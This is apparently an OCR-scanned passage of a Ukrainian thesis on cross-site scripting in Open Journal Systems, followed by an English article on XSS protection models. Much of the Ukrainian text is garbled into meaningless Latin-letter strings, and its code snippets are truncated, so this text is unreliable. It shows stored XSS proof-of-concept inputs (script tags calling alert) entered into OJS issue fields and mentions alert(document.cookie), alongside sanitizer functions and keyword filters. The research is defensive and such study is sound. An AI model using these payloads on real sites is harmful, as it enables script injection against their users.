Pucynok 3.24 — Jpyre BikHo alert

3.2 TectryBanns OJS Bepcii 3.3.0-14 na HasiBHicTh Bpa3juBocTeid XSS

Jlnst recryBanass OJS Bepcii 3.3.0-14, sxa € HOBINIOW BepCi€ro, MOPIBHSHO 3
MOTIEPEIHBOI0 TECTOBaHO0, OyIi0 BuKopucTtano Ubuntu 22.04 LTS.

Byno crBopeno TecroBmii xypran Journal New (puc.3.25). Byno 3HaiineHo B
HayamryBanHsx B OJS, nepenik go3Bosnenux html reris ta ix arpuOytis (puc. 3.26). [Ipote
el MepeniK 3aCTOCOBYEThCA JIMILE JJIi MEBHUX MouiB Ta OnokiB. Ilicas mporo Oyno

MPOTECTOBAHO TY K BKJIAJKY ISSUES, Ha sKkiii OyJio BUsBIIEHO BpasznuBicTh B Bepcii 3.0.0.



& ) U & new-ojs.com 7 ® 9 =

i Open Journal Systems

Administration Hosted Journals

There is a new version of OJS available! You are currently using OJS 3.3.0.14. The most recent version is OJS 3.4.0.5. Please visit this page to
download the most recent version and find upgrade instructions.

Journals Create Journal
Name Patt

» Journal New Journalnew

Pucynok 3.25 — CTBOpEHHS )KypHaILy

(€ O & new-ojs.com w ®
umask 18

filename_revision_match 70

finfo

security

force_ssl

force_login_ssl

session_check_ip 1
encryption sha1
salt YouMustSetASecretkeyHere!!

api_key_secret

reset_seconds 7200
allowed_html alhref|target | title], em,strong,cite,code,ul,ol, li[class],dl,dt,dd,b,i,u,img[src| alt], sup,sub,br,p
email

Pucynox 3.26 — [lepenik 103BOJICHUX TETiB Ta aTpUOYTIB

By10 3amoBHEHO Ti X Bpa3auBi Mot BBOAY B opmi Issue (puc. 3.27):
1. ITone Volume mictuth mani «112».

2. ITosre Number mictuth mani «<script>alert(‘num’);</script>».

3. [Tone Year mictuth nani «4534».

4. TTone Title micTtuth mani «<script>alert(‘title’);</script>».



O 8 new-ojs.com/ojs-files/index.phpfjournalnew/managelssues hokd

Issue Management: Vol. 112 No. (4534):

Table of Contents Issue Data Issue Galleys
9 Help

Identification
112 <script-alert('num');</scr| 4534
Volume Number Year
<script=alert(*title');</script>
Title
Volume Number Year Title
Description

hhe B 7 Y &2 o B M &
Cover image

Drag and drop a file here to begin upload Upload File

Pucynoxk 3.27 — 3anoBHeHHs popmu Issue
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B pesynbrari Oyno ctBopeno HoBe Issue (puc. 3.28) 3 HaszBoro “Vol.112 No.

<script>alert(‘num’);</script> (4534); <script>alert(‘title’);</script>",

U B new-ojs.com/ojs-files/index.php/journalnew/managelssues g

Issues

Future Issues Back Issues

Future Issues
Issue Items

»  Vol. 112 No. <script=alert('num');</script> (4534): 0

<script=alert('title’);</script>

Pucynok 3.28 — CtBopene Issue
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[Tpu HaTtuckanHi Ha cTBOopeHe ISsue 3HoBY 3amyctuiuchk ckpuntu (puc. 3.29 — 3.30),
AKl OynM 3amOBHEHI B SIKOCTI HOMepa Ta 3arojoBky it ISSue, 1 micist iX 3aKpuTTs
3aIlyCTUIIOCH BiKHO penaryBaHHs Issue (puc. 3.31). Omke nana Bepcis OJS Bee 11e BpasznuBa

1 1110 Bpa3/IMBICTh HE OYJIO BUMIPABJICHO B HOBILIINX BEPCIsX.

QO 8 new-ojs.com/ojs-files/index.php/journalnew/managelssues o

& new-ojs.com

num

Pucynok 3.29 — BukoHaHu# CKpHUIT i3 3amyckoM BikHa alert

U 8 new-ojs.com/ojs-files/index.php/journalnew/managelssues <

@ new-ojs.com
title

[] pon't allow new-ojs.com to prompt you again

Pucynok 3.30 — BukoHaHwuii CKpUNT i3 3amycKoM BikHa alert
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O 8 new-ojs.com/ojs-files/index.php/journalnew/managelssues w5 &)

Issue Management: Vol. 112 No. (4534):

Table of Contents Issue Data Issue Galleys
@ Help

No Items

Pucynox 3.31 — Bikno penaryBanus Issue

3.3 Moaean 3axucty OJS Big XSS arak

BianoBiaHo 70 MPOBEAEHOr0 TeCTYBaHHSA, OYJI0 BUSIBIICHO Taki Heoiku OJS:

e BpaziauBicTb DOM XSS;

e BpaznuBicTh Stored XSS;

® BIJICYTHICTh IEPEBIPKM TEriB Ta TEKCTYy BBEAEHONO B IMOJS BBOJY, XO4ya B
HajamTyBaHHsaX OJS Bka3aHi JI03BOJICHI TETH.

3axoau 0e3neku, axi € B OJS:

e XemryBaHHS mapoJiB (Shal), aje HEOOXiIHO TOIaTH CEKPETHUN KITHOY,

e OUIBIIICTH MOJIB BBOJY MAalOTh IMEPEBIPKY Ha BBEACHI JaHl 1 BUBOISTHCA Ha
CTOPIHKY y BUTJIAJIl TEKCTY, a HE Y BUTJISI/IL KON, 110 OJIOKYE MOKJIMBI aTaKH;

® 3BUYAITHMM aBTOpaM HEMA€E JOCTYITy JI0 TaHENl aIMIHICTPaTopa;

e MoxHa fojaaru SSl ceprudikar.

Jnst Toro, mjo0 BUIIPABUTH 3HAiIEH] BPA3IMBOCTI Ta MOMEPEIUTH MOXIJIMBI aTaku
XSS, notpibHO MO0y IyBaTH MOJIEIb 3aXUCTy. MoJ1eIb — I1e KOMIUIEKC 3aXO0/I1B Ta METOIIB,
3a IOTIOMOTOF0 SIKMX MOYKHA MO0y TyBaTH HadiiHui 3axuct OJS cuctemu.

Bxinni nani (puc. 3.32):

e 11o0Jie BBOAY Title, ske He MiCTUTH OOMEKEHHS IO KiJIbKOCTI BBEICHUX CHMBOJIIB,;

¢ tnose BBoay Number, sike micTuTh 0OMexeHHs B 40 CUMBOJIIB.



68

Title

<script> alert(‘title’) </script>

O6MexeHb No KiNnbKOCTi BBEAeHUX CUMBONIB HEMaE

Number

<script> alert(‘number’) </script>

ObmexeHHA 40 cumBoniB

Pucynok 3.32 — Bxiani gaHi

Jns toro, moO 1i moJjii HE ManM BpasnuBocTed XSS, moTpiOHO BOPOBAIUTH
MepEeBIPKY BBEJICHUX JAHUX JUIS IIUX TOJIB.

st mosst “Number” motpiGHO BBecTH Taki epeBipKH/0OMEKEHHS:

® BBECTH IEPEBIPKY Ha HASBHICTb CHUMBOJNIB “< “ ‘“>” gki 3a3BuU4ail He
BUKOPHUCTOBYIOTBCS /JIsl IO3HAUYEHHSI HOMEpY;

® BBECTH KOJyBaHHS CUMBOJIB ‘> “<” m00 YHUKHYTH BIIPOBAKEHHS TETiB SCript
B KOJI CTOPIHKH, SIKIIIO HEMO>KJIMBO MTOBHICTIO MTPUOpPATH 11l CUMBOJIM 3 3ar0JIOBKY;

e 3a00POHHUTH BBOJIUTH JIITEPH, OCKIIbKH moJie “Number” mae mictutu nurie mudpu
1 MOKJTMBO PO3AUTIOBATIBLHI CUMBOJIH TaKi sIK fedic Ta TUpe;

® SKIIO MOTPIOHO 3AIMIIMUTH 03B HA BBEACHHS JITEP B 1€ MOJE, TO MOTPIOHO
BBECTH TEPEBIPKY Ha HasBHICTh HeOE3MeuHMX KOHCTPYKIid JavaScript, taki sk “alert()”,
“script”, onclick Ta iHmm, ki MOXYTh CHPHUYMHHTH 3aMyCK IIKIIUIMBOTO KOIYy MpPH
HaTHCKaHHI Ha HOMeD ISsue.

Jits o “Title” moTpiOHO BBeCcTH Taki 0OMEKEHHSI/TIEPEBIPKU:

® BBECTH IMEPEBIPKY Ha HAsBHICTh 3JIOBMHCHUX KOHCTPYKIIiK JavaScript komy, ski
MOYTh MICTHTH TerH “SCript”, ¢pynkuii alert, innerHTML ta inmmx dynxkuiit JavaScript;

® BBECTH KOJYBaHHS CUMBOJIB ‘> “<”, 100 YHUKHYTH BIIPOBAPKEHHS TETiB SCript

B KOJI CTOPIHKH, SIKIIIO HEMOYKJIMBO MMOBHICTIO PUOPATH I CAMBOJIH 3 3aTOJIOBKY.



3aranbHa Mozelb 3axucTy ais mous «Title» naBenena na puc. 3.33 — 3.34.

BxigHi gaHi

Title

<script> alert(‘title’) </script>

06MexeHb NO KiNbKOCTI BBEAEHUX CUMBONIB HEMAE

Q <script></script>
alert()
onclick=""
Ta iHWi
BuxigHi gaui
Title

Pucynok 3.33 — Ilepira mojens 3axucty juis nmojs Title

BxigHi pawi

Title

<script> alert('title’) </script>

Ob6memeHb NO KINbKOCTI BBEAEHUX CUMBONIB HEMAE

4
KoayBaHHA cuMBONiB
<
BuxigHi gaHi v
Title

&lt;script&gt; alert(‘title’) &lt;/script&gt;

’

Pucynok 3.34 — Jlpyra Monenb 3axucTy Juis nods Title
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3aranpHa Moaenb 3axucTy ais moist «Number HaBenena Ha puc. 3.35-3.37.

BxigHi gaui

Number

<script> alert(‘number’) </script>

O6mexeHHA 40 cumBonis

Q

[a-Z]
[a-A]

BuxigHi gani

Number

Pucynok 3.35 — Ilepmia moaensb 3axucty s moiis “Number”

BxigHi aaHi
Number

<script> alert('number’) </script>

O6meweHHA 40 cumBonis

J

KogyBaHHA CUMBONIB

S

2
BuxigHi gaHi

Number

&lt;script&gt; alert('number’) &lt;/script&gt;

Pucynok 3.36 — Jlpyra moens 3axucty uist mosst “Number”
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BxigHi pai
Number
<script> alert(‘number’) </script>
06mexeHHA 40 cuMmBonis
Q alert()

script

onclick

Ta iHWi
BuxigHi gani
Number

‘number’

Pucynok 3.37 — Tpetst Mmozeib 3axucty st mosis “Number”

Skmo mopiBHATH ABI Mozem mus 3axucty Bim XSS artak mua moas “Title”, To
edexTuBHIIIE Oy/ie HE JUIIE KOJAYBaTH CUMBOJIM, a B3arajii BUAAIATH MOXJIMBI 3JJOBMHUCHI
KoHCTpyKIii JavaScript koxy. To6To edekTuBHiIIE Oy/e MPAIIOBATH TIEpIIa MOJCIb.

SIKIIO TOPIBHATH TPH MOAENI i 3axucTy Big XSS arak ans moas “Number”, to
edexTuBHIIIE Oy/e MIATH 3aXUCT, SKIIO MOETHATH JeKiIbKka Moaenei. Hanpuknana, sxuio
MOEAHATH JPYTY 1 TPETIO MOJIENb, 1100 BBE/ICHI JIaH1 MIEPEBIPSIINCh HA HASBHICTh CUMBOJTIB
“>7 “<” 1 moTiM 1l CHUMBOJIM KoAayBaiuch. Ilicisg 1bOro, oTpuMaHi BHXIJHI JaHI
NepeaaBalkCh Jali Ha MEePeBIpKy Ha HasABHICTh MOYJIMBUX 3JIOBMUCHUX KOHCTPYKLIHA KOy,
SIKI MOJKYTb BKJTIFOYATH TerH SCript, ¢pynkiii alert, onclick, onfocus Ta inmni. HeedexktuBaum
OyJle BUKOpPHUCTaHHS Jjuiie ojaHiei moneni (puc. 3.35), oCKUIbKM BOHA 3a0e3leuye JIUIie
KOJYBaHHS CUMBOJIIB. | SIKIIIO BUX1/IHI AaHI, sIK1 OyAyTh OTpUMaHI MiCJIg KOAYBaHHs, Oy1yTh
PO3KOJIOBaHI MPOTPaMiCTOM, HAMPUKIIAJ, 100 BUBECTH J1aHI B KOPEKTHOMY BHIJISIL, 1
OyayTh BUBEJICHI Ha CTOPIHKY uepe3 HeOe3neuHi GpyHnkiii JavaScript, siki BABOASATH HE TEKCT,
a BEPCTKY Ta CKpHINTH, Taki sk INNerHTML, to 1ie moke mpusBectu 10 ataku XSS. Tomy

BUKOPUCTAHHS JIUIIE OJHIET MOJIEN HE € €PEKTUBHUM.
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Takoxx Moaenbp MOXKHA JOMOBHUTH 3aXOJaMHu, SIKI mepenadayaloTh BUBEICHHS
3arosioBka Juist 1ssue ne y Burnsaai HTML po3miTku, a y BUTIIAA1 3BUMafHOTO TEKCTY, 100
3anmo0irTi BIPOBa/pKeHHIO aTaku. Ha puc. 3.38 mokasano, mo header mjisi CriMBaro4oro
BiKHa peJaryBaHHs ISSUE€ MICTHTH 3arojoBOK Ta HOMEpP Yy BHIJISAI CKPHUMTIB, sIKi OyIo

BBEJICHO B I0JIsI BBOAY (hOpMU CTBOpEHHS ISSuUe.

Issue Management: Vol. 2222 No. " (2024):

Table of Contents Issue Data Issue Galleys

No Items

¥ O Inspector [ Console [ Debugger 1) Network {} StyleEditor (() Performance {J Memory [E) Storage r Accessibility 838 Application
+ A T FilterStyles hov cls

Lo e wuen v o >

¥
.pkp_modal panel > .header & {
min-height: 3rem;
s e/ divs border-top-left-r 2px;
border-top-right-radius: 2px;
font-weight: 700;
line-height: 3rem;
</ div> (evenE R padding: b @ 3rem @ lrem;

odal pkpModalWrapper is_visible” tabindex="-1"> fevent
.pkp_modal panel > .header, —php—sodalpan
s—eeptant i {

3 anel”
JAAES - 2256 - 445 1-9EAD-05399D9E3ETE"
“pkp_madal panel® role="dialog" ari

sue Management: Vol. 2222 No. <scriptsalert('in number')</scripts' (2024): <scriptsalert(’title’}</

Pucynok 3.38 — BuBenenns 3aronosky y Burisiai HTML po3mitku

[Ipu naTuckanHi Ha 3aroyioBoK ISsue, Biampasisierbest HT TP 3anut Ha oTpumanHs
JaHUX, sIKI MOTPIOHO Bi0Opa3uTH B HOBOMY BikHi. | gaHi, Skl MpUXOASTH HA BIAMOBIIb HA
3aMUT MarOTh BUTJISA MOBHOI BepcTkH, TOOTO HTML kox, a He TekeT. Uepes 11e, 3aroioBoK
Ta HoMep ISsue, siki Oynu 3aroBHEH1 B GOpMI, TAKOK BCTABJISIOTHCS HE Y BUTIIAII TEKCTY, a
y BUTJISI1 KOTY.

S0 NoTpiOHO BCTABIIATH 3HAUYEHHS TOJIIB 3ar0JI0BKa Ta HOMEpa y BUTIIAIl KOy, TO
Ha eTarl Badijamii IUX JaHuX Mae BiAOYyTHCH caHiTH3alls Ta (UIbTpalis JaHHUX, dKa
onucaHa B po3po0JEeHUX MOJENSIX 3aXUCTy. TOOTO Ha eTan BUBEJEHHS JaHUX B CIJTUBAIOUE
BIKHO, JIaHi YK€ HEe MalOTh MICTHTH TeTiB SCript Ta QyHkIii JavaScript, siki MOXyTh OyTH

3JIOBMUCHHUMM.
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A0Go0, sKIIO HA eTari BBEJACHHS JaHWUX B TOJS HOMEPY Ta 3arojioBKy He OyIio
GbimpTparlii Ta caHITH3AII] TaHUX, TO BAPTO BUBOAUTH 111 JaH1 JIUIE B TEKCTOBOMY opmari,

a He y Bursiai HTML kony. IlpononoBani mozeni 306pakeni Ha puc. 3.39 — 3.40.

Banigauis Ta caHiTM3auis He BUKOHYETbCA
Title
<script> alert(‘title’) </script>
Number

<script> alert(‘number’) </script>

Issue Management: Vol. 2222 No.<script> alert('number’) </script>
<script> alert(‘title’) </script>

IssueData  Issue Galleys

Pucynok 3.39 — Mogens, sika nepeadadae BUBEICHHS JaHUX Y BUTJISA/II TEKCTY

Banigauin Ta caHiTW3aLiA BUKOHYETbCA

Title

<script> alert(‘title’) </script>

Number

<script> alert('number’) </script>

NG

Title

Number

‘number’

Issue Management: Vol. 2222 No. ‘number’ ‘title’

Table of Contents Issue Data Issue Galleys

Pucynok 3.40 — Mogens, sika nepeadadae BUBECHHS JaHUX Y BUTJIS1 KOy TIICTIs

caHiTH3alll Ta Bajigaii
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3.4 TecTyBaHHSI IPONIOHOBAHUX MO/IeJIeil 3aXHCTy

s TecTyBaHHS TPOTIOHOBAHMX MOJeNel Oyno po3poOsieHO MpHuKiIaa (GopMu
crBopeHHs1 Issue. Po3pobnena cropinka (puc. 3.41) MiCTUTh CIHCOK CTBOpeHHX ISSue,
kHomKy “Create Nnew”, mpu HAaTHCKaHHI Ha Ky BIAKPHUBAETHCS BIKHO 3 (pOopMoOIO, B sKIH
MmoskHa 3armoBHuTH Number Ta Title. Byno cTBopeno muiie mi a8a mojst, Tomy o B OJS
Bpa3NIMBICTh MAIOTh CaM€ Il JIBa TOJs, 1 caMe I HUX MOTPIOHO peami3yBaTH MOJEIb
3axuCcTy. Takox MpH HAaTUCKaHHI Ha Ha3BYy CTBOpPEHOro ISSUE BiTKPUBAETHCS BIKHO 3
dbopMoOr0 I peAaryBaHHS, BOHO BKJIIOYA€E 3aroJIOBOK, SIKHM (POPMYETHCS TUHAMIYHO 3

Ha3BU Ta HOMepa CTBOpeHoro ISsue.

C @ 127.00.1:5500/issue-formht... ¥¢ & 2 w B ® & O F B O

Issues Create new

Issue Management: Vol. 1 No. 1 Example

Pucynok 3.41 — Po3po0biiena Be6cTopiHKa

[ToBHMIT KO cTOpiHKM HoaaHO B Jlomatok b. Po36epemMo ¢yHKIIi0, sika BIATIOBI A€ 3a
BIPOBADKCHHS MOJCNI 3aXHCTy, SKa BKIIOYAE JICKIJIbKa BaplaHTiB OOpOOKH BBEICHHUX
nanux B mons Title ra Number.

dymnkiis sanitizelnputl(puc. 3.42) npuiimae Ha BXiJ 3HaYCHHS BBeJCHE B moJie Title
ta Number, i 3a nonomoror ¢yHkiii replace 3aminsie HeOe3MeUHI KOHCTPYKILiT MOPOKHIM
3HAQYEHHSM. TakuM YMHOM 3HA4YEHHs MOJIB MPOXOJAWUTh CaHITH3aIlil0, 1 HaBITh, KOJU
3HaYeHHS IUX MOJIB Oy/Je BUBEEHO Ha CTOPIHKY Yy BUrisaAl HTML xoay, TO 310BMUCHUHN

KOJl He Oy/ie BUKOHAHO, OCKIJIbKA MOT0 B 3HAUYCHHI1 TIOJISI BXKE HEMAE.



function sanitizeInputl(input) {

return input.replace(

Pucynok 3.42 — ®yHKIis, sgKa 3aMiHse HeOe3MeuH1 KOHCTPYKIIT Ha MOPOYKHE 3HAUCHHS

Taxum umHOM, skio B mosie Number BBectu <script>alert(‘number’)</script>, a B
none Title BBectm <script>alert(‘title’)</script> (puc. 3.43), To micig caHiTH3aLil
BUBEIYThCS TaKli 3HAYCHHS, K Ha  pwuc. 3.44. Tobro, 3aMICTh
<script>alert(‘number’)</script> Tta  <script>alert(‘title’)</script> Oyne BuBemeHO

(‘'number")/ (‘title')/, a el TekcT HE MiCTUTH 3TOBMHCHUX KOHCTPYKIIIH.

Create Issue

Number

<script>alert('number’)</script>

Title

<script>alert('title')</script>

Submit

Pucynok 3.43 — BBeneHHs JaHUX

Issues

Issue Mar t: Vol. 1 No. 1 Example

Issue Mar t: Vol. 1 No.!('number‘);’l (‘title')/ |

Pucynox 3.44 — CtBopeHHs ISSUe miciis caHiTU3aIlli BBEICHUX JaHUX
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®dynkiis sanitizelnput2 (puc. 3.45) npuiiMae Ha BXiJ 3HAYCHHS 10J1iB BBOy Title Ta

Number i 3aK0/10Bye CHMBOJIH.

function sanitizeInput2(input) {

return encodeURIComponent(input);

Pucynok 3.45 — KogyBaHHsS CHMBOJIB B (PYHKIII1

Takum yuHOM, sikiio B mose Number BBectu <script>alert(‘number”)</script>, a B
nosie Title BBecTn <script>alert(‘title’)</script>, to micis caniTH3amii BUBEIYTHCS TaKi
3HA4YeHHsA, sK Ha puc. 3.46. ToOto, 3amicth <script>alert(‘number’)</script> Ta
<script>alert(‘title”)</script> 6yne BuBeneno %3C script %3E alert('number’) %3C %2F
script %3E %3C script%3Ealert('title')%3C%2Fscript%3E. A 1ie#t ko1 He Hece HeOe3IeKH,
akmio Oyne BuBeaeHuit y surisini HTML kony.

Issues Create new

Issue Management: Vol. 1 No. 1 Example

Issue Management: Vol. 1 No. %3Cscript%3Ealert('number')%3C%2Fscript%3E

Pucynok 3.46 — KogyBaHHS CUMBOJIIB OB BBOY

Hacrynna ¢ynkuis sanitizelnputNumber (puc.3.47) npuiimae Ha BXiJ 3Ha4CHHS MOJIS
Number ta Bumanse Bci mitepu Ta cumBoiM < >, mob B mose Number Bsarami He
NOTPAIUISIIN JITEPH, K1 MOXKYTh CKJIaJaTH 3IOBMUCHHUN KOJI. TakKMM YMHOM, SIKIIO B TOJIE
BBoay Number Oyne BBeaeno <script>alert(‘number’)</script>, To Ha Buxomi (puc.3.48)

Oyne 3nauenHs (")/, TOOTO BUAATAIOTHCS BCI JITEPH Ta CHMBOJIHU TETIB.
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function sanitizeInputNumber(input) {

let numberNew = input.replace(/]
return numberNew;

Pucynox 3.47 — ®yHKIIiA, KA BUAAISE BC1 JIITEPU Ta CAMBOJIA < >

Issues Create new

Issue Management: Vol. 1 No. 1 Example

Issue Management: Vol. 1 No. ('')/ ('title')

Pucynok 3.48 — Pe3ynbraT BUKOHaHHS (YHKIIIT CaHITU3AI]

BucHoBku 3a po3aiiiom 3

VY TpetboMy poO3iiai MO€1 JUIIIIOMHOT poOOTH OyJIO MPOBEACHO JETalbHUM aHali3
BpaznuBoctTed cuctemu OJS Ha mpuxnaai Bepciit 3.3.0.2 Ta 3.3.0-14. byno BusiBieHo Ta
ommcano XSS-paznuBocti, 30kpemMa DOM XSS Tta Reflected XSS, sxi 103BOISAIOTH
BIIPOBAHKCHHS IIKIJTMBOTO KOy Ha CTOPIHKAX CHCTEMHU.

Jl1st TecTyBaHHS Bpa3uBocTel Oyia po3pobieHa TectoBa popma ctBopeHHs Issue, B
SIKY BBOJMJIHMCS JIaHI, IIT0 MICTSATh CKPUIITOBHH Koj. Pe3ynbrarom Oyiio ctBopeHHs Issue 3
HAa3BOI0, 1110 MICTUTh BPA3JIMBHUMA KOJ, 1 BIJOOpaXKEHHS LOTO KOAY MPHU HATUCKAHHI Ha
ctBopeHe Issue. Takum yrHOM, OYyJI0 OBEIEHO HASBHICTH XSS-Bpa3MBOCTEH y CHUCTEMI
OJS.

Jam B po3nuti Oyiau 3ampoOnoOHOBaHI MoJei 3axucTy Big XSS-arak mjis mojiiB
Number Tta Title. ¥ Mogensx BpaxoByBaucs OOMEXKEHHS Ha BBEICHHS JITEp Ta
CIICLICUMBOJIIB, CaHITU3alllsl BBEJECHUX JIaHMX Ta KOAYBaHHS CHMBOJIIB < Ta >. Takox, B
paMKax Mojeneit 0yno po3pobieHo GyHKINT A1 caHiTH3allli Ta 0OpOOKH BBEIEHUX JaHUX

y BUTJISAJIl CKPUIITIB.



/8

3acTtocyBaHHS IIUX Mojienel Ta QyHKIIH caHITU3allli JO3BOJIUTh HOKPALTUTH O€3MEKY
cuctemu OJS Ta 3anmo6irtu moximBuM XSS-atakaM. Po3po0ieni Moseni BpaxoBYIOTh pi3Hi
acriekTu Oe3IeKH, Taki K IMepeBipKa THUIIIB BBEJACHUX JaHUX, 00pOOKa CIEIICMMBOJIIB Ta
binpTpallis MOTEHIIHO HeOe3MeYHNX KOHCTPYKIN koxy. Takuil miaxia J03BOJISE

3a0e3MeuynT HaIMHUN 3aXUCT CUCTEMU Bl XSS-arTak.
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BUCHOBKHA

[Tin yac HamucaHHS JUIIOMHOI poOOTH OYJI0 JOCTIMHKEHO MPOOJIEMATHKY 3aXHUCTY
BeOoaTKIB Bij XSS atak. byno 3’scoBaHo, 110 mpobieMa 3aXUCTy BEOJI0JATKIB € AyxKe
aKTyaJbHOI0, OCKIJIBKM IIOJHS TPAIULIEThCS YMMAO KiOepaTak 1 sikach KOMIIaHis Hece
¢inancoBi abo pemyTalliiiHi 30UTKH.

byno mpoananizoBaHO HasBHI MoJielll 3axucTy BebOmonatkiB Bijg XSS arak. byno
BHUSICHCHO, 1110 3a3BUYail Mpu po3poOI1li BeOI0JATKY HE BIPOBAKYETHCS OIBIIICTh 3aX0/IiB
3 3a0e3meyeHHs1 Oe3MeKH, OCKUIbKM 0araTo KOMIMAaHIi He MaroTh OODKETY Ui peanizauii
KX 3ax0/iB. byrno 3’gacoBaHo, 1110 3a3BUYail BUKOPUCTAHHS OJJHOTO METOJy 3aXHCTY HE €
e(eKTUBHUM, OCKIJIBKH II¢ TIEPEKPUBAE JIMIIC OJHY MPOTAIHHY, Yepe3 Ky 3JIOBMHCHHK
Moke peanizyBatu artaky. 1106 3abe3neueHHst Oesneku Oyno e(EKTUBHINIUM, BapToO
BIIPOBA/[KYBATH JIEKUIbKA METO/IIB 3aXUCTY.

[Tix gac anamizy Open Journal System Ha HasBHICTH Bpa3JIMBOCTEH, OYJIO BUSBJICHO
HOBY XSS BpasnuBiCTh, PO SIKy HE ckazaHo Ha BeOcaitTi OJS. [laHa Bpa3auBICTh JO3BOJISIE
KOPUCTYBauy J0aBaTu Oy ab-skuil kox B moiist Title Ta Number ¢popmu Issue. Biamosigao
no 1iei iHdopmarlii, 3JOBMUCHHK MOXXE JIOAaTH B IIl IOJS 3JOBMHUCHHK KO, 1 TpH
penaryBaHHI CTBOPEHOTO ISSUE THIITMM KOpHUCTYBaueM, 3aIyCTUTHCA LIEeH KOJI.

JInst BUnpaBiieHHs 1€l Bpa3IuBOCTI OyJIO0 CTBOPEHO MOJIEIb 3aXUCTy. BoHa BKitouae
CYKYIHICTh METOJIIB 3aXHCTY, TakKi sk, BuganeHHs terie HTML po3wmitku 3 nomie Title ta
Number, koayBaHHS CHMBOJIB “>" Ta “<”, 3a00poHa BBeACHHS JiTep y mose Number ta
1HIIIE.

OT1xe, OyJ10 JOCSITHYTO METY JUIIJIOMHOI poOOTH — po3p0o0sieHo Moenb 3axucty OJS

Big XSS arak.
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XSS ATTACK PROTECTION MODELS

Abstract. XSS (Cross-Site Scripting) attacks are one of the most pervasive and
powerful threats to web applications in today's Internet environment. They allow hackers to
inject malicious JavaScript code directly into web pages that users visit, forcing browsers to
execute the code. This report explores various aspects of the XSS attack protection model
and discusses best practices for securing web applications.

Keywords: XSS, website, web application security, website security.

The number of web applications is constantly growing every year. By the end of 2022,
there were about 1.13 billion of them, but only 18% of them are active [1]. The security of
web applications has become a necessary and important component to ensure the security
of data and users. One of the prevalent attack types is Cross-Site Scripting (XSS), which has
the potential to compromise user privacy and result in the leakage of sensitive information.

An XSS attack occurs when a malicious actor inserts a harmful script into a website's

code, subsequently initiating the execution of this malicious script, leading to the theft of
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user data, including the user's active session cookie [2]. In addition, the attack can take many

forms, including redirecting users to phishing pages, as well as being used to spread
malicious scripts through vulnerabilities in the code.

In order to ensure the security of web applications and protect them from XSS attacks,
developers must implement effective protection models. The XSS attack protection model
Is a comprehensive plan of actions and strategies aimed at preventing, detecting and
responding to these threats. It requires a thorough understanding of XSS vulnerabilities and
the effective application of best practices and security tools.

According to OWASP, there are the following types of XSS attacks [3]:

1. Reflected XSS is a type of attack where an attacker inserts malicious code into a
website through request parameters, such as when filling out a form on the site or when
searching the site. After a request is sent with the data the user has entered, the user is
redirected to another page where the results of the malicious code execution are displayed.
The peculiarity of this attack is that if another user goes to the results page without malicious
parameters, he will not see these results. The results are only available to the user who
submitted the form with the malicious code inserted into it. However, there could also be
negative consequences for the user who carried out this attack. For example, a user's session
IDs can be stolen, and the same user's data can be used in the future to commit malicious
actions without the user's knowledge.

2. Stored XSS is a type of attack where an attacker inserts a malicious script into a
website and this script is stored in a database or on the site's server. After site users load the
site or retrieve data, this malicious code will be executed in their browser. The main
difference from other types of attacks is that the malicious code stored in the database is
dangerous for all users of the website, as it can be executed when any user views or accesses
the given content. This attack can lead to consequences such as stealing the user's session
ID, deleting or modifying important customer data.

3. DOM Based XSS is a type of attack where an attacker uses the existing DOM
(Document Object Model) of a website to introduce and execute malicious code. The main
difference from other types of attacks is that the attacker does not inject a malicious script

into the input data, but uses the site's existing JavaScript code. That is, during the attack, the
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attacker manipulates objects and events on the page. For example, if when entering data into

a form, this data is processed by JavaScript code and other functions are called, attributes
are changed/added, then an attacker can enter malicious code into this data, which will be
executed in the browser. These actions can have various consequences, including stealing
the session ID, entering sensitive data, or performing actions with the username without the
user's permission

According to the described types of attacks, there are corresponding models of
protection against them [4].

The first model involves filtering and validating the entered data on the site. For this,
ready-made validation libraries or self-written code are used. Developers need to escape
special characters such as <, >, &, in HTML code (&It;, &gt;, &amp;). Data filtering should
also take place to check for special characters or keywords that can be used for XSS attacks
. For example, words that contain <script>, onload, javascript:, etc.

The next model involves data sanitization and validation before it is saved and
displayed on the site. With the help of sanitization, potentially harmful parts of the entered
data are removed or replaced. Validation checks the correctness of the entered data, for
example, the entered email must be in the format email@email.com. If the email address is
not entered in this format, it will not be validated, and the user's data will not be saved to
the server until the required format is entered.

The model for protecting web applications by installing Content Security Policy
(CSP) involves defining the types of resources from where you can download scripts, styles,
photos for a page. This policy also defines what type of executable code is acceptable,
thereby preventing the execution of malicious JavaScript code.

The following protection model includes setting the HTTP-only and Secure flags. The
HTTP-only flag prevents JavaScript code from executing on the client browser and
accessing cookie values. The Secure flag is required for websites using HTTPS connections.
This flag ensures that cookies are protected from interception by attackers, as they are
transmitted only over a secure HTTPS connection.

Based on the above, the generalized protection model can be presented as follows
(Fig. 1).
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The optional measures highlighted in Figure 1 are additional security measures that

can improve the protection of web applications against XSS attacks.

The use of ready-made libraries and frameworks for the implementation of data
validation and filtering on the client side can include already configured and tested tools that
automatically perform security checks of the data transferred to the server.

Validation and sanitization for special data formats includes additional validation and
processing of specific data formats, such as email addresses, phone numbers or URLS. This
security measure ensures that input data conforms to defined formats and is safe to process.

Using a Web Application Firewall (WAF) to detect and block XSS attacks, intercepts
incoming requests and responses, analyzes them for malicious code, and blocks attacks
before they reach the application.

Using a WAF allows to detect and block XSS attacks and other security threats at the
network or security layer levels, allowing you to get rid of the necessary attack at an early

stage.

The main steps of protection Optional

Using the framework library for
automatic validation and
filtering of data on the client

Client-side data validation
and filtering

Validation and sanitization for
special data formats,
for example, email addresses

Server-side data sanitization
and validation

Using the Web Application

Content Security Policy (CSP) Firewall (WAF) to detect
and block XSS attacks

Setting HTTP-only and Secure
flags for cookies

Figure 1. Generalized model for protection against XSS attacks
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In addition to these measures, web application developers should regularly analyze

their JavaScript code for potentially dangerous code that can be exploited by attackers. After
analyzing the code, it is also worth conducting a penetration test, which will allow you to
identify most of the gaps in the security system.

If the code of the web page contains such elements as the call of the event that is
specified in the (on-event) block and this event passes data entered by the attacker to the
JavaScript function, it will trigger malicious code (alert(document.cookie)) that will leak
cookie information. Therefore, it is better not to use on-event methods to launch the
JavaScript function, it is better to use data validation before sending it for processing. In this
way, it is possible to prevent the execution of malicious code and reduce the risk of leaking
information about the user's cookies [4].

In addition to events, there are several other potentially dangerous functions in
JavaScript code, if you do not apply data filtering and validation before using them, this can
lead to negative consequences. For example, the innerHTML() function displays HTML
markup in the browser, and if code with a script is displayed, it can lead to an XSS attack.

Also, the eval() function, which executes the string passed to it, is dangerous, i.e. if
